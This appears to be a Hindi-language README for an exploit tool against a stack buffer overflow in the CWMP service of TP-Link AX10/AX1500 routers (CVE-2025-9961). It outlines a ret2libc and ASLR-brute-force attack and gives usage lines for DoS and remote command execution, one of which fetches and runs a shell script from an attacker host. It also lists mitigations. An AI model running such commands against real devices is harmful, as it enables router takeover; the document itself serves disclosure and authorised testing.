CVE-2025-9961

TP-Link AX10/AX1500 CWMP बफर ओवरफ्लो RCE

अवलोकन

CWMP (TR-069) में स्टैक-आधारित बफर ओवरफ्लो, जो रिमोट कोड निष्पादन की ओर ले जाता है।

आक्रमण प्रवाह

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

तकनीकी विवरण

यह भेद्यता cwmp प्रक्रिया द्वारा SetParameterValues SOAP अनुरोधों के प्रबंधन में है। इनपुट का उपयोग बाउंड्स जाँच के बिना बफर आकार की गणना करने के लिए किया जाता है।

शोषण:

• system() को कॉल करने के लिए ret2libc का उपयोग करें
• ब्रूट फोर्स द्वारा ASLR बाईपास
• सेवा के पुनः प्रारंभ होने से बार-बार प्रयास संभव होते हैं

उपयोग

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

पैरामीटर

आवश्यकताएँ

कोई नहीं (मानक लाइब्रेरी का उपयोग करता है)

शमन

• पैच किए गए फर्मवेयर में अपडेट करें
• TR-069/CWMP अक्षम करें
• पोर्ट 7547 की पहुँच प्रतिबंधित करें

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण के लिए।